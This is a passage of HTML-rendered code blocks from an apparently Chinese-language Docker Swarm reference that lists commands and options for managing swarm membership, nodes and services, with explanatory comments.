style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 选项：\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e--advertise-addr string   # 发布的地址 (格式: \u0026lt;ip|interface\u0026gt;[:port])\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e--availability string     # 节点的可用性 (\u0026#34;active\u0026#34;|\u0026#34;pause\u0026#34;|\u0026#34;drain\u0026#34;) (default \u0026#34;active\u0026#34;)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e--data-path-addr string   # 用于数据路径通信的地址或接口 (格式: \u0026lt;ip|interface\u0026gt;)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e--listen-addr node-addr   # 监听地址 (格式: \u0026lt;ip|interface\u0026gt;[:port]) (default 0.0.0.0:2377)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e--token string            # 进入的swarm集群的令牌     \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 主动退出集群，让节点处于down状态（在需要退出Swarm集群的节点主机上执行命令）\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker swarm leave [OPTIONS]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 选项：\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e-f,\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eforce     \u003cspan style=\"color:#75715e\"\u003e# 强制。Manager若要退出 Swarm 集群，需要加上强制选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e## 移除一个work-node节点主机的完整步骤：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 1.在管理节点上操作，清空work-node节点的容器。id 可以使用命令 docker node ls 查看\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker node update \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eavailability drain [id]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 2.在work-node节点主机上操作，退出集群\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker swarm leave\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 3，在管理节点上操作，删除work-node节点\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker node rm [id]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 若想解散整个集群，则需先移除所有work-node节点主机，然后所有管理节点也退出集群\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 更新 swarm 集群的配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker swarm update [OPTIONS]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eautolock                          \u003cspan style=\"color:#75715e\"\u003e# 更改管理器自动锁定设置(true|false)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ecert\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eexpiry duration              \u003cspan style=\"color:#75715e\"\u003e# 节点证书有效期(ns|us|ms|s|m|h)(默认为2160h0m0s)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003edispatcher\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eheartbeat duration     \u003cspan style=\"color:#75715e\"\u003e# 调度程序心跳周期(ns|us|ms|s|m|h)(默认为5s)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"docker-node管理swarm集群节点\"\u003edocker node：管理swarm集群节点\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 查看集群中的节点\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker node ls\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#选项：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ef, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003efilter filter     \u003cspan style=\"color:#75715e\"\u003e# 根据所提供的条件过滤输出。(格式：key=value)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                            \u003cspan style=\"color:#75715e\"\u003e# 目前支持的过滤器是：id, label, name, membership[=accepted|pending]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                               \u003cspan style=\"color:#75715e\"\u003e# , role[manager|worker]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003eq, --quiet             # 只显示id\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 查看运行的一个或多个及节点任务数，默认当前节点\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker node ps [OPTIONS] [NODE...]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e#选项：\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e-f,\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003efilter filter     \u003cspan style=\"color:#75715e\"\u003e# 根据所提供的条件过滤输出\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eq, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003equiet             \u003cspan style=\"color:#75715e\"\u003e# 只显示id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 将worker角色升级为manager\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker node promote NODE [NODE\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 将manager角色降级为worker\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker node demote NODE [NODE\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 查看节点的详细信息，默认json格式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker node inspect 主机名\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 查看节点信息平铺格式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker node inspect \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003epretty 主机名\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 从swarm中删除一个节点\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker node rm 主机名\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 从swarm中强制删除一个节点\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker node rm \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ef 主机名\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 更新一个节点\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker node update [options] 主机名\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003elabel\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eadd list        \u003cspan style=\"color:#75715e\"\u003e# 添加节点标签(key=value)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003elabel\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erm list         \u003cspan style=\"color:#75715e\"\u003e# 删除节点标签\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003erole string           \u003cspan style=\"color:#75715e\"\u003e# 更改节点角色 (\u0026#34;worker\u0026#34;|\u0026#34;manager\u0026#34;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eavailability active\u003cspan style=\"color:#e6db74\"\u003e/pause/\u003c/span\u003edrain   \u003cspan style=\"color:#75715e\"\u003e# 设置节点的状态\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#75715e\"\u003e# active  正常\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#75715e\"\u003e# pause   暂停。调度程序不向节点分配新任务，但是现有任务仍然保持运行\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#75715e\"\u003e# drain   排除自身work任务。调度程序不向节点分配新任务，且会关闭任何现有任务并在可用节点上安排它们\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"docker-service服务管理\"\u003edocker service：服务管理\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 列出服务列表\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker service ls\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 列出服务任务信息\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker service ps [OPTIONS] SERVICE [SERVICE\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eno\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003etrunc          \u003cspan style=\"color:#75715e\"\u003e# 显示完整的信息\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ef, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003efilter filter     \u003cspan style=\"color:#75715e\"\u003e# 根据所提供的条件过滤输出。过滤只运行的任务信息：\u0026#34;desired-state=running\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003eq, --quiet             # 只显示任务id\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 查看服务内输出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker service logs [OPTIONS] SERVICE|TASK\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 选项：\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    --details        # 显示提供给日志的额外细节\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e-f,\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003efollow         \u003cspan style=\"color:#75715e\"\u003e# 跟踪日志输出\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003esince string   \u003cspan style=\"color:#75715e\"\u003e# 显示自时间戳 (2013-01-02T13:23:37Z) 或相对时间戳 (42m for 42 minutes) 以来的日志\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003en, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003etail string    \u003cspan style=\"color:#75715e\"\u003e# 从日志末尾显示的行数(默认为“all”)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003et, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003etimestamps     \u003cspan style=\"color:#75715e\"\u003e# 显示时间戳\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 更新服务的相关配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker service update [options] 服务名\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eargs \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;指令\u0026#34;\u003c/span\u003e         \u003cspan style=\"color:#75715e\"\u003e# 容器加入指令\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eimage IMAGE        \u003cspan style=\"color:#75715e\"\u003e# 更新服务容器镜像\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003erollback              \u003cspan style=\"color:#75715e\"\u003e# 回滚服务容器版本\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003enetwork\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eadd 网络名     \u003cspan style=\"color:#75715e\"\u003e# 添加容器网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003enetwork\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erm 网络名      \u003cspan style=\"color:#75715e\"\u003e# 删除容器网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ereserve\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecpu int           \u003cspan style=\"color:#75715e\"\u003e# 更新分配的cpu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ereserve\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ememory bytes      \u003cspan style=\"color:#75715e\"\u003e# 更新分配的内存(示例：512m)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003epublish\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eadd 暴露端口:容器端口     \u003cspan style=\"color:#75715e\"\u003e# 映射容器端口到主机\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003epublish\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erm 暴露端口:容器端口      \u003cspan style=\"color:#75715e\"\u003e# 移除暴露端口\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eendpoint\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003emode dnsrr        \u003cspan style=\"color:#75715e\"\u003e# 修改负载均衡模式为dnsrr\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eforce                      \u003cspan style=\"color:#75715e\"\u003e# 强制重启服务\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003econfig\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erm 配置文件名称       \u003cspan style=\"color:#75715e\"\u003e# 删除配置文件\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003econstraint\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eadd list        \u003cspan style=\"color:#75715e\"\u003e# 新增一个约束 \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003econstraint\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erm list         \u003cspan style=\"color:#75715e\"\u003e# 移除一个约束 \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eplacement\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003epref\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eadd pref    \u003cspan style=\"color:#75715e\"\u003e# 新增一个偏好 \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eplacement\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003epref\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erm pref     \u003cspan style=\"color:#75715e\"\u003e# 移除一个偏好\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003econfig\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eadd 配置文件名\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e，\u003c/span\u003etarget\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e/../\u003c/span\u003e容器内配置文件名      \u003cspan style=\"color:#75715e\"\u003e# 添加新的配置文件到容器内\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 查看服务详细信息，默认json格式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker service inspect [OPTIONS] 服务名 [SERVICE\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 查看服务信息平铺形式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker service inspect \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003epretty 服务名\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 删除服务\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker service rm [OPTIONS] 服务名 [SERVICE\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 缩容扩容服务容器副本数量\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker service scale 服务名\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e副本数 [SERVICE\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eREPLICAS\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 创建一个服务。一般搭建好 Swarm 集群后，使用 docker stack 部署应用，此处仅作了解\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker service create [OPTIONS] IMAGE [COMMAND] [ARG\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ename string           \u003cspan style=\"color:#75715e\"\u003e# 指定容器名称\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ereplicas int          \u003cspan style=\"color:#75715e\"\u003e# 指定副本数\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003enetwork 网络名         \u003cspan style=\"color:#75715e\"\u003e# 添加网络组\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan 